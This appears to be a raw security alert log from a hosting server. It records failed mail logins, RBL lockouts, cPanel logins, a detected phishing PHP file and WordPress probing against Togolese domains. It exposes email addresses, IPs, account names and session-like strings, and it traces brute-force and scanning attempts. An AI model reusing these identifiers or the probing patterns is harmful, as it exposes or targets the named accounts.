2026-06-12 10:08:03 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4122: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.120.164
country_id: 1880251
description:
47.128.120.164 - - [12/Jun/2026:10:08:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816681&pdata=https%253A%252F%252Fbelali.tg%252F16-ways-to-stop-drinking-alcohol%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781258894 HTTP/2.0" 302 0 belali.tg "https://belali.tg/16-ways-to-stop-drinking-alcohol/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.120.164


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:08:32 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4124: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 12 10:09:45 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:10:05 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4126: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:09:44 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:11:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4127: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 10:10:50 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:50814: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:12:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4131: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.169.13.58
country_id: 2363686
description:
[2026-06-12 10:13:04 +0000] info [cpaneld] 196.169.13.58 NEW prbthzuj:DPm4HXZOlmSnJqna address=196.169.13.58,app=cpaneld,creator=prbthzuj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - info@case-afrique.tg [06/12/2026:10:13:26 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: info@case-afrique.tg


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:15:11 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 93.180.222.52
country_id: 99237
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/95.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:15:21 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4134: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:15:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:16:57 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [12/Jun/2026:10:16:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13290644&pdata=https%253A%252F%252Fmatwtogo.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781259399 HTTP/2.0" 302 0 matwtogo.org "https://matwtogo.org/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:17:28 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4136: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [12/Jun/2026:10:19:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932322&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-voici-la-liste-complete-des-ministres-entrants-et-les-sortants-dans-le-nouveau-gouvernement-de-victoire-tomegah-dogbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781259549 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-voici-la-liste-complete-des-ministres-entrants-et-les-sortants-dans-le-nouveau-gouvernement-de-victoire-tomegah-dogbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:18:30 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4137: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:19:30 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4138: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:20:43 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:54765: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.177
country_id: 2635167
description:
[2026-06-12 10:20:44 +0000] info [cpaneld] 5.230.133.177 NEW mgvybwur:9SJLNQRKhn6iC4KV address=5.230.133.177,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.140
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.043168834135904.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:20:40 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4139: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:21:43 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4140: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:21:39 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:63818: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:22:39 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:53602: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:22:42 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4145: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:23:45 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:58398: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:23:43 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4146: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:24:56 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:58808: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.158.107.185
country_id: 2750405
domain: autodiscover.api.free.netmaster.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.15||T:APACHE||REQUEST_URI:/autodiscover/autodiscover.xml/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.13.146
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:guillaume.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0a88412874af73c37272ec4405947bde0cf4cc65||Title:thqykvrsy3r0m2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:25:26 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:58812: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


